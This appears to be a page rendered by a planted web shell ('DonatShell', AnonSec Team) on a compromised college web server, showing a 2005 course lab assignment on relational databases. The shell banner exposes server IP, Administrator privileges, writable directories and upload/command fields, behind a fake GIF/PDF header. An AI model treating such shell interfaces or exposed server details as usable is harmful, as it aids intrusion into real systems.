GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1601/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1601/CST1601-Lab3.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


<html>
<head>
  <title>CST1601-Lab3</title>
<style type="text/css">
td {
	vertical-align:top;
}
td.number {
	text-align:right;
}
th {
	text-align:left;
	vertical-align:top;
}
li {
	vertical-align:top;
}
li.instruction {
	margin: 5px 0px 0px 0px;
}
</style>


</head>
<body bgcolor="LemonChiffon" text="Black" link="Blue" vlink="Blue" alink="Red">
<div align="center">

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1601-Lab3&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.14</b></font></td></tr>
</table>
<div>
<h1>CST1601
<br>
Database Programming - Lab3
</h1>
</div>
<div>
<!-- MetaLanguage3 -->
<!-- Lab -->






<br>
<br>

In the previous module you learned how to:
<!-- RD -->

	<!-- Level I -->
	<!-- Tutorial01 3 ! -->
<ol start="3">

	  <li> <font color="Green">Define field, record, table, relational database, primary key, and foreign key</font>.
	  <li> <font color="Green">Open a database and identify the components of the Access and Database windows</font>.
	  <li> <font color="Green">Open and navigate tables</font>.
	  <li> <font color="Green">Describe how Access saves a database</font>.
	  <li> <font color="Green">Open, navigate, create and sort queries</font>.
	  <li> <font color="Green">Create, preview and navigate a forms and reports</font>.
	<!-- Tutorial02 9 ! -->
	  <li> <font color="Green">Define database design</font>.
	  <li> <font color="Green">Design, create, and modify tables</font>.
	  <li> <font color="Green">Manage and import table data</font>.
	<!-- Tutorial03 12 ! -->
	  <li> <font color="Green">Create and use queries</font>.
	  <li> <font color="Green">Define table relationships</font>.
	  <li> <font color="Green">Sort data, define record selection criteria, and perform calculations using queries</font>.
	<!-- Tutorial04 15 ! -->
	  <li> <font color="Green">Create and use forms</font>.
	  <li> <font color="Green">Define form data, record selection, and manage table data using forms</font>.
	  <li> <font color="Green">Use sub-forms</font>.
	  <li> <font color="Green">Create and use reports and define report data and record selection</font>.
	<!-- Lab1 ! -->
		<br>
<br>

	<!-- Level II ! -->
	<!-- Tutorial05 19 ! -->
	  <li> <font color="Green">Modify table designs and use subdatasheets</font>.
	  <li> <font color="Green">Use Like, In, And, Not, and Or operators in queries</font>.
	  <li> <font color="Green">User parameters in queries and use crosstab, find duplicates, and find unmatched queries</font>.
	<!-- Tutorial06 22 ! -->
	  <li> <font color="Green">Design and create custom forms</font>.
	  <li> <font color="Green">View and print database documentation</font>.
	  <li> <font color="Green">Use controls and add headers, footers, and pictures to forms</font>.
	  <li> <font color="Green">Use subforms, change the tab order, and filter data in forms</font>.
	<!-- Tutorial07 26 ! -->
	  <li> <font color="Green">Design and create custom reports, use controls in reports, and use subreports</font>.
	  <li> <font color="Green">Use conditional formatting, domain aggregate functions, and page formatting in reports</font>.
	<!-- Tutorial08 28 ! -->
	  <li> <font color="Green">Export table data to html documents and use html documents to view table data</font>.
	  <li> <font color="Green">Create and use data access pages and use data access pages to modify table data</font>.
	  <li> <font color="Green">Use PivotTables, PivotCharts, XML, and Excel with Access</font>.
 </ol>
It is now time to evaluate how well you learned these objectives.

<br>
<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Personalized Instruction: </b></h3></font>
<font color="Green">New Perspectives Microsoft Access 2003 Comprehensive (ISBN: 0-619-20672-1)</font> and<br>
<font color="Green">New Perspectives Microsoft Access 2003 Comprehensive Second Edition (ISBN: 0-619-26811-5)</font>
<ol>

	  <li> Read the Appendix - <i>Relational Databases and Database Design</i> (AC A1) in <i>New Perspectives Microsoft Access 2003 Comprehensive</i>.
	  <li> Read the following internet papers on relational database design:
		 <ol type="a">

			   <li><a href="http://msdn.microsoft.com/data/DataFundamentals/databasefundamentals/default.aspx">Getting Started with Databases</a>.
			   <li><a href="http://msdn.microsoft.com/data/DataFundamentals/databasefundamentals/default.aspx?pull=/library/en-us/createdb/cm_8_des_02_62ur.asp">Database Design Considerations</a>.
			   <li><a href="http://msdn.microsoft.com/data/DataFundamentals/databasefundamentals/default.aspx?pull=/library/en-us/vsent7/html/dvcondatadesign.asp">Data Design</a>.
		  </ol>
	  <li> Write a one to two page paper using MS Word or WordPad titled <i>Relational Databases</i> and save it as <b>CST1601-3.doc</b>.
		<br>
 Include your name, the course number, and the current date in the document
		<br>
 In the paper, describe and cover the following topics:
		 <ol type="a">

			   <li> Database relationships.
			   <li> Primary, candidate, alternate, foreign, and composit keys.
			   <li> One-to-one, one-to-many, and many-to-many relationships.
			   <li> Database relations and relationships.
			   <li> Database integrity.
			   <li> Determinants, dependencies, anomolies, and normalization.
		  </ol>
	  <li> When you are done, email the <b>CST1601-3.doc</b> file to <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with the subject being <b>CST1601-Lab3</b>. 
 </ol>
</td></tr></table>

<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Evaluations: </b></h3></font>
This is your third fomal evaluation for this course.
It will be used to evaluate your understanding of relational databases.
This lab will be graded on a percentage and count as 20% of your grade for this course.
If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me.
</td></tr></table>

<br>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Description: </b></h3></font>
Demonstrate your understanding of relational databases.
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>References and Resources: </b></h3></font>
<ol>
 <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0">
  <tr valign="bottom">
    
    <td>
      <i>New Perspectives Microsoft Access 2003 Comprehensive</i><br>
      
      Joseph J. Adamski and Kathleen T. Finnegan<br>
      Thomson Course Technology ©2004<br>
      ISBN: 0-619-20672-1<br>
    </td>
  </tr>
</table>
</td><td>(Student supplied textbook)</td></tr></table>
  <li> Microsoft Access 2003 Software (Installed on leased laptop or student supplied) 
  <li> Computer system with OS (Student supplied equipment)
  <li> Course Instructional Guide (School supplied handout)
 </ol>
</td></tr></table>


<div>

Return to the <a href="CST1601-Syllabus.htm">Syllabus</a>, <a href="CST1601-InstructionalGuide.htm">Instructional Guide</a>,
or the <a href="javascript:history.back();">previous page</a>.


<div>

<table><tr valign="top"><td>
<font color="Navy"><h3><b>Version Information: </b></h3></font>
<table>
<tr><td>2005.01.14</td><td>Module converted to new text.</td><td>jfm</td></tr>
</table>
</td></tr></table>

<br>
<br>
<br>
<br>


<div align="center">
<div>
Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a>
<div>

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1601-Lab3&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.14</b></font></td></tr>
</table>
</div>

</body>
</html>

Anon7 - 2022
AnonSec Team